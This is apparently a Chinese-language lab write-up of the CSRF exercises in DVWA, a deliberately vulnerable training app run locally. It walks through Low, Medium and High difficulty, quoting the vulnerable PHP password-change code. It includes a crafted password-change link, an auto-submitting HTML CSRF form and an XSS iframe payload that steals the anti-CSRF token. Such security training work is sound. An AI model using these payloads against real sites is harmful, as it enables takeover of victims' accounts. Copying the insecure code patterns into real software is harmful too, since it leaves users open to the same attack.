CSRF漏洞全称是Cross-site Request Forgery,跨站请求伪造。
这个漏洞主要的思路是利用了本来就登录在目标网站A的用户,当这些用户点击了相应的伪造网站B后,这些网站中的陷阱就会使用户访问网站A(在用户不知道的情况下),这样就可以借助用户之手,做到列入修改密码之类的操作。
Low级别
我们可以看看源码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
我们可以看到,这份源码没有什么防御机制,没有Token值。同时我们可以看出,这个密码值是直接用GET请求进行提交的。
所以我们可以直接构造链接(因为我这边是直接使用的Docker进行DVWA的搭建,本地端口对其进行了映射,所以这里是8082,自己搭建的用自己的URL就好了):
http://localhost:8082/vulnerabilities/csrf/index.php?password_new=admin123&password_conf=admin123&Change=Change#
直接执行链接后,就会跳转到修改密码页面,并且显示密码修改成功。
利用漏洞
我们要利用这个漏洞,首先需要找一个受害者。
使用BurpSuite可以快速构造攻击页面:
这里我们获取并且构造我们想要的页面,当受害者访问了我们的页面并且点击了按钮,就会被修改密码
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8082/vulnerabilities/csrf/index.php">
<input type="hidden" name="password_new" value="hack123" />
<input type="hidden" name="password_conf" value="hack123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
注意,受害者必须要使用他登录过这个网站(我们以DVWA为例)的浏览器,因为受害者的登录信息是会被存储到这个浏览器中的,如果使用别的浏览器,只会跳转到dvwa的开始登录界面。
Medium级别
我们再看看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
从第一行的if判断
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])!=-1 )
我们可以看出这个级别的难度是为了让我们关注$_SERVER[ 'HTTP_REFERER' ]
,也就是我们访问时候的http头部中的Referer字段问题。
直接修改头部就行(不过我这边直接不用修改也可以完成修改密码,我也不清楚为什么)
不懂Referer请求头的可以去网上搜搜,或者问问GPT。
High级别
看看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
从这里
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
可以知道他开始检测Token值了。我们可以直接Token绕过。
使用BurpSuite进行Token绕过
BurpSuite中有一个插件,叫做CSRF Token Tracker
安装后进行使用
利用XSS漏洞配合
不过我研究了一个下午,我发现我的BurpSuite中这个插件总是没有反应,我也不知道为什么,可能是某些地方总是会有Bug吧,所以我使用了另一个方法,那就是和Xss联动。(如果有人用这个插件弄出来的可以给我讲讲是怎么办到的)
因为我们知道,当你每一次访问CSRF的修改密码的界面的时候,都会导致你的浏览器获得了一个新的user_token,所以如果此时,受害者没有继续更新加载这个页面,那么Token值就会作为一个变量存在浏览器中。所以我们使用XSS攻击就可以直接获取到它的值。
PayLoad如下:
<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
这个Payload首先跳转到了csrf页面,onload在页面加载时就开始执行,获取了frames[0],也就是我们的iframe中的自己的token
此时,如果不出意外的话,此时间段整个浏览器的token就只有我们获得的这一个。
然后我们利用这个Token进行和上文一样的方式,就可以修改掉密码了